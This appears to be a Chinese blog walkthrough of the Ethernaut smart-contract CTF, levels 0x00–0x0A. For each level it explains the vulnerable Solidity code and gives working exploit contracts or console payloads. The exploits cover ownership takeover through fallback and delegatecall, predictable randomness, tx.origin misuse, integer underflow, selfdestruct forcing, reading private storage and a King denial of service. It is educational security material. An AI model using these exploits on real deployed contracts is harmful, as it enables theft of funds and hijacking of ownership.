智能合约安全-Ethernaut上篇

让我们畅谈智能合约安全吧

EthernautOpenZeppelin 创建的一个智能合约 CTF 网站,这里笔者通过这里的 CTF 关卡来熟悉下智能合约中的常见漏洞,因为篇幅原因分为几篇进行更新。

题库

0x00 Hello Ethernaut

熟悉环境和操作,安装好小狐狸 MetaMask 后从水龙头获得测试网代币,然后打开 Chrome 开发者工具,点击 Get new instance 获取关卡:

image-20230831213036573

然后就是按照提示在 Console 中交互 JS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")

交互完成后,点击 Submit instance 提交答案,就会获得关卡的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {

string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;

// constructor
constructor(string memory _password) {
password = _password;
}

function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}

function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}

function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}

function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

可以看到就是我们交互的 js 调用的函数。

0x01 Fallback

要求为成为 owner 并让 balance 为 0,提示是使用 fallback 函数:

  1. you claim ownership of the contract
  2. you reduce its balance to 0

先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

可以观察到如果想要修改 owner 有两个入口点,contribute 函数中贡献超过原来的 owner 或者 receive 函数中达成发送者 value 大于 0 并且 contribitions map 中对应的地址也大于 0。显然本题不是让我们暴力一直 contribute,所以我们可以了解下回退函数:

当你调用的函数在合约中不存在,或者直接向合约中发送以太坊主币的时候,都会调用回退函数;fallback()是一个后备函数,receive 只负责接受主币;当以太坊主币发送到合约时,首先要判断 msg.data 是否为空,如果不为空就会调用 **fallback()**,如果为空,再判断 receive 函数是否存在,如果存在,调用 receive 函数,如果不存在,调用 fallback 函数,

这里没有 fallback,所以我们可以通过直接给合约发送 value 来触发 receive 函数来获取 owner。总结下思路就是:

  1. contribute 先贡献 ether:contract.contribute({value: toWei("0.00001")})
  2. 直接给 contract 发送 value,触发 receive 获取 owner: contract.sendTransaction({value: toWei("0.00001")})
  3. 最后调用 withdraw 函数:contract.withdraw()

我们利用预先准备的 toWei 函数来换算单位,然后也可以看到我们 sendTransaction 后的 owner 成为了我们自己的地址

image-20230903233546448

0x02 Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

一道无语的题目,构造函数写错名字了,直接 contract.Fal1out() 就可以修改 owner

image-20230904222217825

0x04 Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

可以提前算 hash 然后调用 flip 函数,通过合约代码就能够在一个区块中执行了,攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

interface CoinFlip {
function flip(bool _guess) external returns (bool); //这里函数可见性要改成external
}

contract attack {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address targetAddress = xxxxx; //改成要攻击地址
CoinFlip c;

function hack() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
c = CoinFlip(targetAddress);
c.flip(side);
}
}

通过 remix 部署合约后,点十次 hack,然后提交成功,可以看到每次都在加一

image-20230904231852654

0x05 Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
  • tx.origin (address): 交易的发起者(完整的调用链)
  • msg.sender (address): 消息的发送者(当前调用)

比如调用连 A->B->C,对于 C 来说 tx.origin 是 A,msg.sender 是 B

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.6.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract attack {

Telephone target = Telephone(0x0ed9e4Bf35e6dD7B9B2584b635EAbA663d8adD21); // 替换为 Instance 的地址来调用

function hack() public {
target.changeOwner(msg.sender);
}
}

部署执行 exploit,然后查看 owner 成功

image-20230905223135217

0x06 Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

balances[msg.sender] 和 _value 都是无符号整数,对于 transfer 函数的检查 require(balances[msg.sender] - _value >= 0); 可以利用整数溢出来绕过。已知已有 20 个代币,所以 _value 超过例如 21 就会溢出为 2^256 - 1 绕过了 require,并且也让 msg.sender 的 balances 溢出,注意这里别传 player 的,随便传一个 instance 地址别让他溢出回去了。

image-20230906215134871

0x07 Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

目标是获取 Delegation 的 owner,然后我们可以通过 Delegate 的 pwn 函数来修改 owner,我们简单了解下 call 和 delegatecall:

1、call 的外部调用上下文是外部合约
2、delegatecall 的外部调用上下文是调用合约上下文

所以总的思路就是触发 fallback ,然后利用 delegate 函数来调用 pwn。然后:当给call传入的第一个参数时四个字节时,那么合约就会默认这四个字节是要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个字节,函数签名就是带有括号括起来的参数类型列表的函数名称。

slice(0,10)是因为前面还有个0x,加上0x一共10个字符。

所以最终的 payload 就是:contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

image-20230906221635071

0x08 Force

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

目的是让合约大于 0,没有接受函数怎么办,selfdestruct 函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数。

攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity ^0.6.0;

contract Force {
address payable levelInstance;

constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}

function give() public payable {
selfdestruct(levelInstance);
}
}

Remix 部署后调用 give 函数并且传递 value,触发自毁函数

image-20230906225728863

利用 getBalance 函数来查询账户余额,提交成功。

image-20230906225908492

0x09 Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

密码虽然是 private 的,但是区块链数据都在链上的透明的,直接用 web3js 的 api 来获取,0 是 locked,1 是 password

1
2
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.utils.toAscii(y))});
contract.unlock(web3.utils.fromAscii("A very strong secret password :)"));

0x0A King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

接受者拒绝 transfer 就会失败,之久能避免合约提交时又被夺回 king

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit{

constructor(address payable _kingAddress) payable {
_kingAddress.call{value: msg.value}("");
}
//this sends ether to the king contract, during the construction of contract and has no receive function.
}